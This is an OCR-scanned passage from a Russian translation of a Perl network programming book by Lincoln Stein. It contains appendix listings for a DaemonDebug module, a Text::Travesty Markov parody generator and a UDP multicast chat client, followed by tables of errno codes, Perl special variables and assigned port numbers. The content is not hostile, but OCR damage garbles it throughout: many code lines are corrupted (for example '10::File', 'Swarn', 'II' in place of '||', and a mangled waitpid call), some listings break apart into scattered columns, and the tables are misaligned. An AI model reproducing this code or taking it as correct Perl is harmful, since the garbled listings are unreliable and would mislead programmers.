необходимо контролировать готовность данного дескриптора
файла для чтения. Параметр C<$flag> должен быть
установлен равным истинному значению для разрешения
чтения и ложному — для его запрещения.
278: =item $session->writable($flag)
Этот метод позволяет отметить в наборе сеансов, что
необходимо контролировать готовность данного дескриптора
файла для записи. Параметр C<$flag> должен быть
установлен равным истинному значению для разрешения
записи и ложному — для ее запрещения.
284: =back
285: =headl SEE ALSO
L<IO::LineBufferedSessionSet>, L<IO::SessionData>,
L<10::SessionSet>,
L<perl>
289: =headl AUTHOR
290: Lincoln Stein <lstein@cshl.org>
291: =headl COPYRIGHT
Авторские права (с) 2000 Линкольн Штайн. Все права
зарезервированы. Эта программа является бесплатным
программным обеспечением; права на ее распространение
и/или доработку предоставляются на тех же условиях, что и
аналогичные права на интерпретатор Perl.
297: =cut
Модуль DaemonDebug (глава 14)
Модуль DaemonDebug экспортирует те же функции, что и модуль Daemon,
описанный в главе 14. Однако он остается на переднем плане и оставляет открытым
стандартное устройство вывода сообщений об ошибках. Это позволяет упростить отладку
во время разработки.
0: package DaemonDebug;
1: use strict;
2: use vars qw(@EXPORT @ISA @EXPORT_OK $VERSION);
3: use POSIX qw(:signal_h WNOHANG);
4: use Carp "croak*,'cluck';
670
Часть IV. Дополнительные темы
use File::Basename;
use 10::File;
require Exporter;
@EXPORT_OK = qw(init_server prepare_child kill_children
launch_child do_relaunch
log_debug log_notice log_warn
log_die %CHILDREN);
6EXP0RT = @EXPORT_OK;
@ISA = qw(Exporter) ;
$VERSION = '1.00';
use constant PIDPATH => Vtrnp';
use vars '%CHILDREN';
глу ($pid,$pidfile,$saved_dir,$CWD);
sub init_server {
$pidfile = shift;
$pidfile ||= getpidfilename();
my $fh = open_pid_file($pidfile);
print $fh $$;
close $fh;
$SIG{CHLD} = \&reap_child;
return $pid = $$;
}
sub launch_child {
my $callback = shift;
my $signals =
POSIX::SigSet->new(SIGINT,SIGCHLD,SIGTERM, SIGHUP);
sigprocmask(SIG_BLOCK,$signals); # Блокировать
# ненужные сигналы
log_die("Can't fork: $!") unless defined (my $child = fork());
if ($child) {
$CHILDREN{$child) = $callback || 1;
} else {
$SIG{HUP} = $SIG{INT} = $SIG{CHLD) = $SIG{TERM) = 'DEFAULT';
}
sigprocmask(SIG_ONBLOCK,$signals); # Разблокировать
# сигналы
return $child;
}
sub reap_child {
while ( (my $child = waitpid(-lrWNDHANG),) > OJ Г ---,?,-. *,*' ,
$CHILDREN{$child}-:H$chUdf 'if ref« |GHlbDREN{$child} 'eq 'G0№V
delete $CHILDREN{$child};
J
}
sub kill_children { '"' ''' i1
kill TERM => $_ foreach keys %CHILDREN;
# Дождаться завершения работы всех дочерних процессов
sleep.while %CHILDREN;
}
53: sub dq_relaunch { } # Пустая операция
■ I.
И Fi;!.>
Приложение А. Дополнительный исходный код
671
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
sub log_debug { Swarn }
sub log_notice { Swarn }
sub log_warn { Swarn }
sub log_die { &die }
sub getpidfilename {
my $basename = basename($0,'.pi');
return PIDPATH . "/$basename.pid";
}
sub open_pid_file {
my $file = shift;
if (-e $file) { # Ошибка. Файл pid уже существует
my $fh = IO::File->new($file) II return;
my $pid = <$fh>;
croak "Invalid PID file" unless $pid =~ /~(\d+)$/;
croak "Server already running with PID $1" if kill 0 => $1;
cluck "Removing PID file for defunct server process $pid.\n";
croak"Can't unlink PID file $file"
unless -w $file && unlink $file;
}
return IO::File->new ($file,0_WRONLY10_CREAT10_EXCL, 0644)
II die "Can't create $file: $!\n";
}
75: END { unlink $pidfile if $$ = $pid }
76: 1;
77: END
Модуль Text::Travesty (глава 17)
Модуль Text: :Travesty реализует алгоритм автоматического создания пародий
на основе цепей Маркова, обеспечивающий анализ текстового документа и выработку
нового документа, в котором соблюдаются те же частоты пар слов, что и в оригинале.
В результате создается полностью непостижимый для восприятия документ, который
по своему стилю напоминает оригинал.
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Text:
use strict;
:Travesty;
use Text::Wrap qw(fill);
use IO::File;
sub new {
my $pack =
return bles
}
sub add {
my $self =
shift;
s {
words => [],
lookup => {},
num => {},
a => ", p=>
},$pack;
shift;
n=>'
672
Часть IV. Дополнительные темы
my $string = shift;
my ($words,$lookup,$num,$a,$p,$n) =
G{$self}{qw(words lookup num a p n)};
for my $w (split /\s+/,$string) {
($a,$p) = ($p,$n);
unless (defined($n = $num->{$w})) {
push @{$words},$w;
$n = pack ,S',$#$words;
$num->{$w} = $n;
}
$lookup->{"$a$p"} .= $n;
}
G{$self}{'a','p,,'n'} = ($a,$p,$n);
}
sub analyze_file {
my $self = shift;
my $file = shift;
unless (defined (fileno $file)) {
$file =
IO::File->new($file) II croak("Couldn't open $file: $!\n");
}
$self->add($_) while defined ($_ = <$file>);
}
sub generate {
my $self = shift;
my $word_count = shift || 1000;
my ($words,$lookup,$a,$p) = @{$self){qw(words lookup a p)};
my ($n,$foo,$result);
while ($word_count—) {
$n = $lookup->{"$a$p"};
($foo,$n) = each(%$lookup) if $n eq ";
$n = substr($n,int(rand(length($n))) & 0177776,2);
($a,$p) = ($p,$n);
my $w = unpack(•S',$n);
$w = $words->[$w];
$result .= $w;
$result .= $w =~ /\.$/ &s randO < .1 ? "\n\n" : ' ■;
}
G{$self}{qw(a p)} = ($a,$p);
return $result;
}
sub words {
return @{shift->{words)};
}
sub pretty_text {
my $self = shift;
my $text = $self->generate(@_);
return fill("\t", ",$text) . "\n";
}
sub reset {
my $self= shift;
G{$self}{qw(lookup num)} = ({},{});
Приложение А. Дополнительный исходный код
673
66: $self->{words} = [];
67: delete $self->{a},-
68: delete $self->{p};
69: }
70: 1;
71: =headl NAME
72: Text::Travesty - преобразует текст в пародию
73: =headl SYNOPSIS
74: use Text::Travesty
75: my $travesty = Text::Travesty->new;
7 6: $travesty->analyze_file('for_whom_the_bell_tolls.txt *);
77: print $travesty->generate(1000);
78: =headl DESCRIPTION
79: Этот модуль реализует алгоритм автоматического создания
80: пародий на основе цепей Маркова, обеспечивающий анализ
81: текстового документа и выработку подобного по стилю (но
82: абсолютно бессмысленного) текста, в котором соблюдаются
83: те же частоты пар слов, что и в оригинале.
84: =headl CONSTRUCTOR
85: =over 4
86: =item $travesty = Text::Travesty->new
87: Метод new() создает новый объект Text::Travesty с пустыми
88: таблицами частот. Обычно для ввода текста, на основе
89: которого строятся таблицы частот, один или несколько раз
90: вызывается метод add() или analyze_file().
91: =back
92: =headl OBJECT METHODS
93: =over 4
94: =item $travesty->add($text);
95: Этот метод разделяет на отдельные слова текст, заданный
96: параметром $text, и с использованием пар слов заполняет
97: внутренние таблицы частот. Обычно при проведении анализа
98: длинного текста метод add() приходится вызывать несколько
99: раз.
100: Здесь применяется немного необычное определение понятия
101: "слово", поскольку в него включены знаки препинания и
102: другие непробельные символы. При такой "псевдо-
103: пунктуации" полученные пародии становятся еще более
104: забавными.
674
Часть IV. Дополнительные темы
105: =item $travesty->analyze_file($file)
106: Этот метод добавляет все содержимое указанного файла к
107: таблицам частот. В качестве параметра C<$file> может быть
108: указан открытый дескриптор файла, и в этом случае метод
109: analyze_file() читает его содержимое, вплоть до
110: обнаружения признака конца файла EOF, или полное имя
111: файла, и тогда данный метод открывает его для чтения.
112: =item $text = $travesty->generate([$count])
113: Метод generate О строит пародию на введенный текст на
114: основе модели Маркова, сформированной из таблицы частот
115: слов. Необязательный параметр C<$count> обозначает длину
116: генерируемого текста в словах. Если этот параметр не
117: задан, он принимает значение по умолчанию, равное 1000.
118: =item $text = $travesty->pretty_text([$count])
119: Этот метод аналогичен методу generate(), за исключением
120: того, что возвращенный текст представлен в виде абзацев,
121: разбитых на строки.
122: =item Gwords = $travesty->words
123: Этот метод возвращает список всех уникальных слов в
124: таблицах частот. Одинаковые слова, содержащие разные
125: знаки препинания и символы в разных регистрах, считаются
126: уникальными.
127: =item $travesty->reset
128: Сбрасывает объект пародии, очищая таблицы частоты и
129: подготавливая их к приему нового анализируемого текста.
130: =back
131: =headl SEE ALSO
132: IXText::Wrap>, L<IO::File>, L<perl>
133: =headl AUTHOR
134: Lincoln Stein <lstein@cshl.org>
135: =headl COPYRIGHT
136: Авторские права (с) 2000 Линкольн Штайн. Все права
137: зарезервированы. Эта программа является бесплатным
138: программным обеспечением; права на ее распространение
139: и/или доработку предоставляются на тех же условиях, что и
140: аналогичные права на интерпретатор Perl.
141: =cut
Приложение А. Дополнительный исходный код
675
Сценарий mchat.client.pl (глава 21)
Сценарий mchat_client. pi реализует клиентскую часть системы интерактивной
переписки с многоадресной рассьыкой, разработанной в главе 21.
0: #!/usr/bin/perl -w
1: # Файл: chat_client.pl
2: # Клиент UDP системы интерактивной переписки
3: use strict;
4: use IO::Socket;
5: use 10::Select;
6: use ChatObjects::ChatCodes;
7: use ChatObjects::MComm;
8: use 10::Socket::Multicast;
9: use Sys::Hostname;
10: $SIG{INT) = $SIG(TERM> = sub { exit 0 };
11: my ($nickname,$comm,$mcomm);
12
13
14
15
16
17
18
19
20
21
22
# Таблица переходов для команд пользователя
my %COMMANDS = (
channels => sub {
join
part
users
public
private
login
quit
=> sub {
=> sub {
=> sub {
=> sub {
=> sub {
=> sub {
=> sub {
);
$comm->send_
$comm->send_
$comm->send_
$ comm->s end_
$comm->send_
$comm->send_
$nickname =
undef },
event(LIST_CHANNELS)
"event(JOIN_REQ,shift)
event(PART_REQ, shift)
"event (LIST_USERS)
"event(SENDPUBLIC,shift)
"event(SENDJPRIVATE,shift)
do_login()
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Таблица переходов для
my %MESSAGES = (
ERROR()
L0GIN_ACK()
JOIN_ACK()
PART_ACK()
PUBLIC_MSG()
PRIVATE_MSG()
USER_JOINS()
USER_PARTS()
CHANNEL_ITEM()
USER_ITEM()
SET_MCAST_PORT()
);
сообщений сервера
=> \&error,
=> \&login_ack,
=> \&join_part,
=> \&join_part,
=> \&public_msg,
=> \&private_msg,
=> \&user_join_part,
=> \$user_join_part,
=> \&list_channel,
=> \&list_user,
=> \&create msocket.
# Создание и инициализация сокета UDP
my $servaddr = shift II 'localhost';
my $servport = shift || 2027;
my $mcast_port = shift |I 2028;
41
42
43
# Создание объекта связи для взаимодействия с сервером
# интерактивной переписки
$comm = ChatObjects::Comm->new(PeerAddr =
> "$servaddr:$servport") or die $G;
44:
# Попытка регистрации
676
Часть IV, Дополнительные темы
$nickname = do_login();
die "Can't log in.\n" unless $nickname;
# Чтение команд пользователя и сообщений сервера
my $select = IO: :Select->new($coitim->socket, \*STDIN) ;
LOOP:
while (1) {
my Gready = $select->can_read;
foreach (Gready) {
if ($_ eq \$STDIN) {
do_user(\*STDIN) || last LOOP;
} else {
do_server($_);
}
}
}
# Создание сокета многоадресной рассылки в ответ на
# событие SET_MCAST_PORT
sub create_msocket {
my ($code,$port) = @_;
return unless $port =~ /'~\d+$/;
$select->remove ($mcoitim->socket) if defined $mcoitim;
# Создание объекта связи для получения многоадресных
# сообщений канала
$mcomm =ChatObjects::MComm->new($port) or die $@;
$select->add($mcomm->socket);
}
# Вызывается для выполнения команд пользователя
sub do_user {
my $h = shift;
my $data;
return unless sysread($h,$data,1024);# Самая
# длинная строка
return 1 unless $data =~ /\S+/;
chomp($data);
my($command,$args) = $data =~ m! Л(\S+)\s*(.*) !;
($command,$args) = ('public',$data) unless $command;
my $sub = $COMMANDS{lc $command};
return warn "$command: unknown command\n" unless $sub;
return $sub->($args);
}
# Вызывается для обработки сообщения с сервера
sub do_server {
die "invalid socket" unless my $s =
ChatObjects::Comm->sock2comm(shift) ;
die "can't receive: $!" unless
my ($mess,$args) = $s->recv_event;
my $sub = $MESSAGES{$mess} || return warn "$mess:
unknown message from server\n";
$sub->($mess, $args) ;
return $mess;
}
# Попытка зарегистрироваться (повторная)
sub do_login {
$comm->send_event(LOGOFF,$nickname) if $nickname;
Приложение А. Дополнительный исходный код
677
97: my $nick = get_nickname(); # Чтение данных от
98: # пользователя
99: my $select = IO::Select->new($comm->socket);
100: for (my $count=l; $count <= 5; $count++) {
101: warn "trying to log in ($count)...\n";
102: $comm->send_event(L0GIN_REQ,$nick);
103: next unless $select->can_read(6);
104: return $nick if do_server($comm->socket) == L0GIN_ACK;
105: $nick = get_nickname();
106: }
107: }
108: # Выдает пользователю приглашение на ввод псевдонима
109: sub get_nickname {
110: while (1) {
111: local $| = 1;
112: print "Your nickname: ";
113: last unless defined(my $nick = <STDIN>);
114: chomp($nick);
115: return $nick if $nick =~ /Л\Б+$/;
116: warn "Invalid nickname. Must contain no spaces.\n";
117: }
118: }
119: # Обработка сообщения об ошибке, полученного с сервера
120: sub error {
121: my ($code,$args) = @_;
122: print "\t** ERROR: $args **\n";
123: }
124: # Обработка подтверждения регистрации, полученного с
125: # сервера
126: sub login_ack {
127: my ($code, $nickname) = @_;
128: print "\tLog in successful. Welcome $nickname.\n";
129: }
130: # Обработка сообщений о подключении или отключении от
131: # канала, полученных с сервера
132: sub join_part {
133: my ($code,$msg) = @_;
134: my ($title,$users,$mcast_addr) =
$msg =~ /~(\S+) (\d+) ([\d. ]+)/,-
135: if ($code == J0IN_ACK) {
136: # Добавление адреса группы многоадресной рассылки к
137: # полученному списку
138: $mcomm->socket->mcast_add($mcast_addr);
139: print "\tWelcome to the $title Channel ($users users)\n";
140: } else {
141: $mcomm->socket->mcast_drop($mcast_addr);
142: print "\tYou have left the $title Channel\n";
143: }
144: }
145: # Обработка сообщений со списком каналов, полученных с
14 6: # сервера
147: sub list_channel {
148: my ($code,$msg) = @_;
678
Часть IV. Дополнительные темы
149: my ($title,$count,$mcast_addr,$description) =
$msg =~ /~(\S+) (\d+) ([\d.]+) (.+)/;
150: printf "\t%-20s %-40s %3d users\n","[$title]",
$description,$count;
151: }
# Обработка общедоступных сообщений, полученных с
# сервера
sub public_msg {
my ($code,$msg) = @_;
my ($channel,$user,$text) = $msg =~ /Л (\S+) (\S+) (.*)/;
print "\t$user [$channel]: $text\n";
}
# Обработка приватных сообщений, полученных с сервера
sub private_msg {
my ($code,$msg) = Q_;
my ($user,$text) = $msg =~ /Л(\Б+) (.*)/;
print "\t$user [**private**]: $text\n";
}
# Обработка сообщений о подключении или отключении
# пользователя, полученных с сервера
sub userjoin_part {
my ($code,$msg) = @_;
my $verb = $code == USER_JOINS ? 'has entered' : 'has left'
my ($channel,$user) = $msg =~ /~(\S+) (\S+)/;
print "\t<$user $verb $channel>\n";
}
# Обработка сообщений со списками пользователей,
# полученных с сервера
sub list_user {
my ($code,$msg) = @_;
my ($user,$timeon,$channels) = $msg =~ /Л(\Б+) (\d+) (.+)/;
my ($hrs,$min,$sec) = format_time($timeon);
printf "\t%-15s (on %02d:%02d:%02d) Channels:
%s\n",$user,$hrs,$min,$sec,$channels;
}
# Аккуратно отформатированное значение времени
# (чч, мм ее)
sub format_time {
my $sec = shift;
my $hours = int( $sec/(60*60) );
$sec -= ($hours*60*60);
my $min = int( $sec/60 );
$sec -= ($min*60);
return ($hours,$min,$sec);
}
END {
if (defined $comm) {
$comm->send_event(LOGOFF,$nickname);
$comm->close;
}
}
Приложение А. Дополнительный исходный код
679
Приложение [~Б~|
Коды ошибок
и специальные
переменные Perl
В настоящем приложении перечислены некоторые специальные переменные и
константы Perl.
Константы ошибок системы
Модуль Errno.pm языка Perl экспортирует константы ошибок системы для
использования с переменной $ !. При вычислении в числовом контексте переменная $ !
возвращает константы ошибок, перечисленные в первом столбце табл. Б.1. В
строковом контексте эта переменная возвращает сообщения, предназначенные для
восприятия человеком; они приведены во втором столбце.
В табл. Б.1 перечислены сообщения об ошибках, которые воспринимаются в
версии Perl, оттранслированной в системе Linux с использованием библиотеки glibc
версии 2.1, но недостаточно хорошо стандартизированы в других вариантах UNIX.
Версии Perl для Macintosh и Windows распознают подмножество этих констант.
Кроме того, в этих версиях могут распознаваться ошибки, характерные для конкретной
платформы, которые передаются в переменной $ЛЕ.
Таблица Б.1. Сообщения об ошибках Linux и glibc
Константа ошибки Сообщение
E2BIG Слишком длинный список параметров
EACCES Доступ запрещен
EADDRINUSE Адрес уже используется
EADDRNOTAVAIL Невозможно присвоить затребованный адрес
EADV Ошибка службы оповещения
EAFNOSUPPORT Семейство адресов не поддерживается протоколом
680 Часть IV. Дополнительные темы
Продолжение табл. Б.1
Константа ошибки Сообщение
EAGAIN
EALREADY
EBADE
EBADF
EBADFD
EBADMSG
EBADR
EBADRQC
EBADSLT
ЕВFONT
EBUSY
ECHILD
ECHRNG
ЕССММ
ECONNABORTED
ECONNREFUSED
ECONNRESET
EDEADLK
EDESTADDRREQ
EDOM
EDOTDOT
EDQUOT
EEXIST
EFAULT
EFBIG
EHOSTDOWN
EHOSTUNREACH
EIDRM
EILSEQ
EINPROGRESS
EINTR
EINVAL
ЕЮ
EISCONN
Повторите попытку
Операция уже выполняется
Недопустимый обмен
Неправильный номер файла
Дескриптор файла в некорректном состоянии
Не блок данных
Недопустимый дескриптор запроса
Недопустимый код запроса
Недопустимый слот
Некорректный формат файла шрифта
Устройство или ресурс заняты
Дочерние процессы отсутствуют
Номер канала выходит за допустимые пределы
Ошибка связи при передаче
Программное обеспечение вызвало аварийное прекращение работы
соединения
В соединении отказано
Сброс соединения равным по рангу
Могла произойти взаимоблокировка ресурса
Требуется адрес назначения
Параметр выходит за пределы области определения математической
функции
Ошибка, характерная для RFS (remote file system — распределенная
файловая система)
Превышена квота
Файл существует
Некорректный адрес
Файл слишком велик
i
Хост остановлен
Нет маршрута к хосту
Идентификатор удален
Недопустимая последовательность байтов
Операция в настоящее время выполняется
Прерванный системный вызов
Недопустимый параметр
Ошибка ввода-вывода
Оконечная точка транспорта уже подключена
Пргыожение Б. Коды ошибок и специальные переменные Perl
681
Продолжение табл. Б.1
Константа ошибки Сообщение
EISDIR
EISNAM
EL2HLT
EL2NSYNC
EL3HLT
EL3RST
ELIBACC
ELIBBAD
ELIBEXEC
ELIBMAX
ELIBSCN
ELNRNG
ELOOP
EMEDIUMTYPE
EMFILE
EMLINK
EMSGSIEE
EMULTIHOP
ENAMETOOLONG
ENAVAIL
ENETDOWN
ENETRESET
ENETUNREACH
ENFILE
ENOANO
ENOBUFS
ENOCSI
ENODATA
ENODEV
ENOENT
ENOEXEC
ENOLCK
ENOLINK
Является каталогом
Является файлом указанного типа
Уровень 2 остановлен
Уровень 2 не синхронизирован
Уровень 3 остановлен
Уровень 3 сброшен
Невозможно получить доступ к необходимой разделяемой
библиотеке
Доступ к поврежденной разделяемой библиотеке
Невозможно непосредственно вызвать на выполнение разделяемую
библиотеку
Попытка подключения к слишком большому числу разделяемых
библиотек
Раздел . lib в библиотеке а. out поврежден
Номер ссылки выходит за допустимые пределы
Обнаружено слишком много символических ссылок
Неправильно задан тип сетевой среды
Слишком много открытых файлов
Слишком много ссылок
Сообщение слишком велико
Попытка переприема
Слишком длинное имя файла
Семафоры XENIX недоступны
Сеть остановлена
Соединение разорвано сетью из-за сброса
Сеть недостижима
Переполнение таблицы файлов
Отсутствует смежный узел
Отсутствует доступное буферное пространство
Отсутствует доступная структура CSI (channel status indicator — указатель
состояния канала)
Отсутствуют доступные данные
Нет такого устройства
Нет такого файла или каталога
Ошибка формата выполняемого файла
Нет доступных блокировок записи
Линия связи разъединена
682
Часть IV. Дополнительные темы
Продолжение табл. Б.1
Константа ошибки Сообщение
ENOMEDIUM
ENOMEM
ENOMSG
ENONET
ENOPKG
ENOPROTOOPT
ENOSPC
ENOSR
ENOSTR
ENOSYS
ENOTBLK
ENOTCONN
ENOTDIR
ENOTEMPTY
ENOTNAM
ENOTSOCK
ENOTTY
ENOTUNIQ
ENXIO
EOPNOTSUPP
EOVERFLOW
EPERM
EPFNOSUPPORT
EPIPE
EPROTO
EPROTONOSUPPORT
EPROTOTYPE
ERANGE
EREMCHG
EREMOTE
EREMOTEIO
ERESTART
EROFS
ESHUTDOWN
ESOCKTNOSUPPORT
ESPIPE
Не найдена сетевая среда передачи
Нехватка памяти
Отсутствует сообщение требуемого типа
Компьютер не в сети
Пакет не установлен
Протокол не доступен
На устройстве не осталось места
Нехватка ресурсов потоков
Устройство — не поток
Функция не реализована
Требовалось блочное устройство
Оконечная точка транспорта не подключена
Не каталог
Каталог не пуст
Тип файла не регламентирован стандартом XENIX
Операция сокета не с сокетом
Непечатающее устройство
Имя не уникально в сети
Нет такого устройства или адреса
Операция не поддерживается оконечной точкой транспорта
Значение слишком велико для определенного типа данных
Операция не разрешена
Семейство протоколов не поддерживается
Канал разорван
Ошибка протокола
Протокол не поддерживается
Недопустимый тип протокола для сокета
Непредставимый результат математической операции
Изменен удаленный адрес
Объект относится к удаленному концу соединения
Ошибка ввода-вывода в удаленном конце соединения
Прерванный системный вызов должен быть перезапущен
Файловая система, допускающая только чтение
Отправка данных после останова оконечной точки транспорта
невозможна
Неподдерживаемый тип сокета
Недопустимая операция поиска
Приложение Б. Коды ошибок и специальные переменные Perl
683
Окончание табл. Б. 1
Константа ошибки Сообщение
ESRCH Нет такого процесса
ESRMNT Ошибка функции srmount
ESTALE Неактуальный дескриптор файла NFS (Network File System — Сетевая
файловая система)
ESTRPI РЕ Ошибка потокового канала
ЕТ ШЕ Истекла установка таймера
ETIMEDOUT Соединение завершено по тайм-ауту
ETOOMANYREFS Слишком много ссылок; их невозможно состыковать
ETXTBSY Текстовый файл занят
EUCLEAN Структура нуждается в очистке
EUNATCH Драйвер протокола не подключен
EUSERS Слишком много пользователей
EWOULDBLOCK Операция была бы заблокирована
EXDEV Перекрестная ссылка между устройствами
EXFULL Исчерпаны резервы аппаратуры обмена
"Магические" переменные, влияющие
на выполнение операций ввода-вывода
В языке Perl предусмотрено множество глобальных переменных, причем многие
из них так или иначе влияют на выполнение операций ввода-вывода. Каждая
переменная доступна как загадочная "пунктуационная глобальная переменная", а после
загрузки модуля English может также применяться как более удобная для восприятия
переменная, имя которой состоит из английских слов. Многие из этих переменных
(но не все) становятся также доступными после вызова метода класса IO::Handle.
Например, после загрузки модуля English переменная $,, которая содержит
символ, выводимый между элементами списка, становится доступной под именем
$OUTPUT_FIELD_SEPARATOR, а после загрузки модуля 10:: Handle может
применяться как метод output_f ield_separator (). Эти отношения эквивалентности
иллюстрируются следующим фрагментом кода.
use IO::Handle;
use English;
$,=':'; # Выводить ":" между элементами списка
$OUTPUT_FIELD_SEPARATOR = ':'; # Такой же результат
IO::Handle->output_field_separator(':*); # Такой же результат
При использовании этих глобальных переменных как методов 10: : Handle,
некоторые из них действуют как методы класса и являются глобальными для всех
дескрипторов файлов и объектов 10: : Handle. В качестве примера метода класса можно
указать метод output_f ield_separator (). Другие методы относятся к отдельным
объектам дескриптора файла и должны вызываться как методы объекта. Примером
684
Часть TV. Дополнительные темы
является метод input_line_number (), который позволяет узнать номер последней
строки, считанной из дескриптора файла.
$lineno = $fh->input_line_number();
В первом столбце табл. Б.2 представлена пунктуационная переменная, во втором —
ее эквивалент из модуля English, а в третьем указано, доступна ли эта переменная в
качестве вызова метода 10:: Handle. Третий столбец содержит значение "класс",
если метод должен быть вызван как метод класса, глобальный для всех объектов
10: : Handle; "объект" — если он доступен на уровне каждого отдельного дескриптора
файла; или "нет" — если глобальная переменная не доступна как метод.
Описание того, как использовать встроенный генератор форматированных
отчетов Perl, представлено в документе perl format POD.
Таблица Б.2. Глобальные переменные ввода-вывода
Переменная Имя переменной в модуле
English
Метод Описание
$,
$1
$\
$/
$~L
$OUTPUT FIELD SEPARATOR класс
$OUTPUT AUTOFLUSH
$ARG нет Заданное по умолчанию логическое
устройство назначения для оператора
<> и других функций ввода-вывода
Символ, который должен выводиться
между членами списка (значение по
умолчанию: отсутствует)
объект Если значение этой переменной
установлено отличным от нуля,
вызывает сброс данных из буферов
в выбранном в настоящее время
! ' дескрипторе файла при каждой
операции вывода. Для объектов
IO: : Handle должен применяться
метод autoflush()
$OUTPUT_RECORD_SEPARATOR класс Символ, который должен выводиться
в конце каждой выходной строки
(значение по умолчанию: отсутствует)
Символ, который обозначает конец
входной строки (значение по
умолчанию: "\п")
класс Строка, содержащая список символов,
после которых строка может быть
разбита для заполнения полей
продолжения в формате отчета
класс Символ, используемый средством
форматирования отчета для выработки
кода прогона страницы
объект Текущий номер входной строки для
последнего дескриптора файла, чтение
из которого выполняется с
использованием оператора о или функции
getlinef)
$INPUT_RECORD SEPARATOR класс
$FORMAT_LINE_BREAK
CHARACTERS
$FORMAT FORMFEED
$INPUT LINE NUMBER
Приложение Б. Коды ошибок и специальные переменные Perl
685
Окончание табл. Б.2
Переменная Имя переменной в модуле
English
Метод Описание
$=
$%
$~
$#
$FORMAT LINES PER PAGE объект
$FORMAT LINES LEFT
$FORMAT PAGE NUMBER
$FORMAT_
$FORMAT
NAME
TOP NAME
объект
объект
объект
объект
^
$OFMT
Число строк, которые должны быть
выведены перед выработкой кода
прогона страницы при использовании
средства форматирования отчетов Perl
Число строк, оставшихся на странице
при создании форматированных
отчетов
Текущий номер страницы при
создании форматированных отчетов
Имя текущего формата отчета
Имя формата заглавной части
страницы, которая печатается в начале
каждой страницы при создании
форматированных отчетов
Формат вывода чисел
Другие глобальные переменные Perl
В табл. Б.З приведен перечень иных глобальных переменных Perl, используемых
в данной книге. В первом столбце представлены пунктуационные переменные Perl,
а во втором — их эквиваленты с именами, состоящими из английских слов, доступные
после загрузки модуля English.
Таблица Б.З. Другие глобальные переменные Perl
Переменная Имя переменной
В модуле English
Описание
$CHILD ERROR
$~Е
$<лшпЬег>
$&
$ERRNO
$EXTENDED_OS_
RROR
$МАТСН
Код состояния, возвращенный в результате последнего
выполнения операции закрытия канала, оператора
обратных одинарных кавычек или успешного вызова
функции wait (); как правило, код состояния О указывает,
что дочерний процесс завершился без ошибок
Сообщение об ошибке, связанное с последним неудачно
завершившимся системным вызовом
Расширенные данные об ошибке, полученные из
операционной системы, отличной от UNIX
Подстрока, сопоставленная с группой number образца
регулярного выражения в результате последней успешно
выполненной операции сопоставления с образцом
(например, $1, $2)
Вся подстрока, сопоставленная с образцом регулярного
выражения в результате последней успешно выполненной
операции сопоставления с образцом
686
Часть IV. Дополнительные темы
Окончание табл. Б.З
Переменная Имя переменной
В модуле English
Описание
$$
$<
$>
%ENV
%SIG
$PREMATCH
$POSTMATCH
$PID
$UID
$EUID
$(
$)
$0
$ARGV
GARGV
@inc
$GID
$EGID
$PROGRAM_NAME
Подстрока, предшествующая подстроке, сопоставленной
с образцом регулярного выражения в результате
последней успешно выполненной операции
сопоставления с образцом
Подстрока, следующая за подстрокой, сопоставленной
с образцом регулярного выражения в результате
последней успешно выполненной операции
сопоставления с образцом
Идентификатор текущего процесса
Реальный идентификатор пользователя (UID) текущего
процесса
Действующий UID текущего процесса; соответствует
действующим привилегиям, с которыми выполняется
сценарий с установленным идентификатором пользователя
Реальный идентификатор группы (GID) текущего процесса
Действующий GID текущего процесса; соответствует
действующим привилегиям, с которыми выполняется
сценарий с установленным идентификатором группы
Имя выполняемого сценария
Имя текущего файла при чтении из оператора о
Массив параметров командной строки
Список пакетов, из которых текущий сценарий или
модуль наследует атрибуты при использовании объектно-
ориентированных средств Perl
В подпрограмме — массив, содержащий параметры,
переданные подпрограмме
Хеш, содержащий текущие переменные среды
Хеш, содержащий имена перехватываемых сигналов
и обработчиков, вызываемых при их обнаружении
Приложение Б. Коды ошибок и специальные переменные Perl
687
Приложение
Справочные таблицы
Internet
В данном приложении перечислены назначенные номера портов, IP-адреса и
приведена иная справочная информация Internet. Эти данные подготовлены на
основании документа RFC 1700, Assigned Numbers.
Назначенные номера портов
В приведенной ниже таблице перечислены стандартные номера портов в
диапазоне от 0 до 1023, назначаемые и контролируемые организацией ICANN (Internet
Corporation for Assigned Names and Numbers). Порты, не приведенные в данной
таблице, в настоящее время не распределены.
Условное обозначение
tcpmux
tcpmux
compressnet
compressnet
compressnet
compressnet
rje
rje
echo
echo
discard
discard
Номер
0/tcp
0/udp
1/tcp
1/udp
2/tcp
2/udp
3/tcp
3/udp
5/tcp
5/udp
7/tcp
7/udp
9/tcp
9/udp
Описание
Зарезервирован
Зарезервирован
Мультиплексор службы управления портами TCP
Мультиплексор службы управления портами TCP
Утилита управления
Утилита управления
Процесс сжатия данных
Процесс сжатия данных
Удаленный ввод заданий
Удаленный ввод заданий
Служба эхо-повтора
Служба эхо-повтора
Служба отбрасывания данных
Служба отбрасывания данных
а
688
Часть IV. Дополнительные темы
Условное обозначение Номер Описание
systat
systat
daytime
daytime
qotd
qotd
msp
msp
chargen
chargen
ftp-data
ftp-data
ftp
ftp
ssh
telnet
telnet
smtp
smtp
nsw-fe
nsw-fe
msg-icp
msg-icp
msg-auth
msg-auth
dsp
dsp
time
time
rap
rap
11/tcp
11/udp
13/tcp
13/udp
17/tcp
17/udp
18/tcp
18/udp
19/tcp
19/udp
20/tcp
20/udp
21/tcp
21/udp
22/tcp
23/tcp
23/udp
24/tcp
24/udp
25/tcp
25/udp
27/tcp
27/udp
29/tcp
29/udp
31/tcp
31/udp
33/tcp
33/udp
35/tcp
35/udp
37/tcp
37/udp
38/tcp
38/udp
Служба учета работающих пользователей
Служба учета работающих пользователей
Служба даты и времени
Служба даты и времени
Демон службы "Quote of the Day" (Цитата дня)
Демон службы "Quote of the Day" (Цитата дня)
Протокол отправки сообщений
Протокол отправки сообщений
Генератор символов
Генератор символов
Протокол передачи файлов (применяется по умолчанию
для передачи данных)
Протокол передачи файлов (применяется по умолчанию
для передачи данных)
Протокол передачи файлов (порт управления)
Протокол передачи файлов (порт управления)
Защищенный командный интерпретатор
Протокол Telnet
Протокол Telnet
Любая приватная почтовая система
Любая приватная почтовая система
Простой протокол электронной почты
Простой протокол электронной почты
Система NSW User System FE
Система NSW User System FE
noprMSGICP
noprMSGICP
Служба аутентификации MSG
